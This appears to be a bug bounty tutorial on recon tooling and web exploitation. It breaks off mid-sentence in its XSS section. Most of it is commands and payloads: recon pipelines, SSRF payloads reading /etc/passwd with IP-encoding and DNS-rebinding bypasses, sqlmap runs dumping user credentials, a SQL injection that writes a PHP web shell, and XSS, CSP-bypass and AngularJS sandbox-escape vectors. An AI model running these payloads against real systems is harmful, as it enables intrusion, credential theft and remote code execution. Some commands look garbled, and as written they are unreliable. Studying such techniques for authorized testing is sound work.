Listen to this Post
Introduction:
The transition from a traditional IT role to a full-time bug bounty hunter is a formidable challenge that demands a specialized and deep technical skillset. As exemplified by one hunter’s journey, success hinges on mastering web exploitation, automating reconnaissance, and expertly navigating platform dynamics. This article deconstructs the essential toolkit required to compete in the high-stakes arena of professional vulnerability discovery.
Learning Objectives:
- Master the core command-line tools for efficient reconnaissance and vulnerability assessment.
- Implement advanced techniques for bypassing security controls and exploiting common web vulnerabilities.
- Develop a methodological approach for triage, proof-of-concept creation, and report writing.
You Should Know:
1. Reconnaissance is King: Building Your Target Footprint
A comprehensive recon process is the foundation of any successful bug bounty hunt. It involves passively and actively gathering intelligence about your target’s attack surface.
Subdomain Enumeration with Amass and Subfinder amass enum -passive -d target.com -o amass_passive.txt subfinder -d target.com -o subfinder.txt cat amass_passive.txt subfinder.txt | sort -u > all_subs.txt Probing for Live Hosts and HTTP Titles with HTTPx cat all_subs.txt | httpx -silent -threads 100 -status-code -title -tech-detect -o live_subs.txt Using Waybackurls to Discover Historical Endpoints echo "target.com" | waybackurls > wayback.txt cat wayback.txt | grep "=" | qsreplace -a | uro > unique_params.txt
Step-by-step guide:
First, use passive enumeration tools like `Amass` and `Subfinder` to compile a list of subdomains without directly touching the target. Merge and sort the results. Next, use `HTTPx` to probe this list, filtering for live hosts and simultaneously gathering valuable data like HTTP status codes, page titles, and technology fingerprints. In parallel, use `waybackurls` to extract historical URLs from archives, which often reveal hidden, deprecated, or forgotten endpoints and parameters that are prime testing grounds.
2. Automating Initial Vulnerability Scanning
While manual testing is crucial, automation helps in quickly identifying low-hanging fruit and streamlining your workflow.
Nuclei Template Scanning for Known Vulnerabilities
nuclei -l live_subs.txt -t /nuclei-templates/ -o nuclei_findings.txt
GF Patterns for Interesting Endpoints
cat wayback.txt | gf ssrf | tee ssrf_endpoints.txt
cat wayback.txt | gf redirect | tee redirect_endpoints.txt
cat wayback.txt | gf xss | tee xss_endpoints.txt
JavaScript File Analysis for Hidden Endpoints and API Keys
cat live_subs.txt | getJS -complete | anti-burl | awk '{print $4}' > js_files.txt
cat js_files.txt | grep -oE '["\']/api/v[0-9]/[a-zA-Z0-9_/]["\']' | tr -d '"'"' >> potential_endpoints.txt
Step-by-step guide:
Leverage `Nuclei` with its vast community-driven template library to run a broad scan against your list of live hosts. This can quickly identify common misconfigurations and CVEs. Use `GF (Gf Patterns)` to sift through your historical URL data for specific vulnerability patterns like SSRF, open redirects, and XSS. Furthermore, automate the discovery and fetching of JavaScript files using tools like getJS. Analyze these JS files for hardcoded API keys, tokens, and undiscovered API endpoints, which are frequent sources of critical vulnerabilities.
3. Exploiting Server-Side Request Forgery (SSRF)
SSRF vulnerabilities allow an attacker to induce the server to make HTTP requests to an arbitrary domain. This can lead to internal network access.
Crafting SSRF Payloads Basic payload to test for blind SSRF http://localhost:22 http://127.0.0.1:3306 file:///etc/passwd Using a collaborator tool like Burp Collaborator or Interactsh Generate a unique interactsh domain interactsh-client -s Then use the generated domain in your payload http://your-unique-domain.oast.pro Bypassing Filters with URL Encoding and DNS Rebinding http://0177.0.0.1 Octal IP http://2130706433 Decimal IP http://0x7f.0x0.0x0.0x1 Hexadecimal IP Use a DNS rebinding service like rbndr.us http://7f000001.0a7f06a5.rbndr.us
Step-by-step guide:
Identify potential SSRF entry points using your `gf ssrf` results. Start with basic payloads targeting internal services and the `file://` protocol. For blind SSRF where you can’t see the response, use a collaborator client to generate a unique domain; any interaction with this domain from the target server confirms the vulnerability. If basic payloads are blocked, attempt to bypass filters using alternative IP representations (octal, decimal, hex) or leverage DNS rebinding services to trick the application’s internal IP checks.
4. Advanced SQL Injection Exploitation
SQL Injection remains a high-impact vulnerability. Moving beyond simple error-based attacks is key.
Using SQLmap for Automated Exploitation sqlmap -u "https://target.com/page?id=1" --batch --level=5 --risk=3 --dbs sqlmap -u "https://target.com/page?id=1" -D production_db --tables sqlmap -u "https://target.com/page?id=1" -D production_db -T users -C username,password --dump Manual Time-Based Blind SQLi Detection If the following parameter causes a time delay, it's likely vulnerable. ' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- '%2b(SELECTFROM(SELECT(SLEEP(5)))a)%2b' Writing Output to a File in SQL '; UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/shell.php'--
Step-by-step guide:
For a quick assessment, `sqlmap` is invaluable. Use it with a high `–level` and `–risk` to test for complex injection points and automatically extract database information. For manual testing, especially for blind SQLi, use time-delay payloads with `SLEEP` or `BENCHMARK` functions. Observe if the server’s response time increases significantly. In cases where you have write permissions (e.g., in MySQL), use the `INTO OUTFILE` clause to write a web shell onto the server, effectively turning the SQLi into a remote code execution.
5. Bypassing Modern XSS Defenses
Modern web applications use Content Security Policies (CSP) and WAFs to mitigate XSS. Bypassing them requires creativity.
// Bypassing Common CSP directives using Google's Hosting
<script src="https://www.google.com/complete/search?client=chrome&q=hello"></script>
// If 'unsafe-eval' is allowed, use vector like:
<script>eval('al'+'ert(1)')</script>
// Bypassing WAFs with Encoding and Obfuscation
// Example for a reflected XSS
<
svg/onload=alert<code>1</code>>
<
iframe srcdoc="<img src=x onerror=alert(1)>">
javascript:/--></title></style></textarea></script></xmp>
<
svg/onload='+/"/+/onmouseover=1/+/[/[]/+alert(1)//'>
// Abusing AngularJS Sandbox Escapes (if Angular is present)
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}
Step-by-step guide:
First, check the `Content-Security-Policy` header of the target. Look for overly permissive directives like `unsafe-eval` or the inclusion of broad CDNs like .google.com. Try to load scripts from these allowed domains. If a WAF is present, use minimal tags like `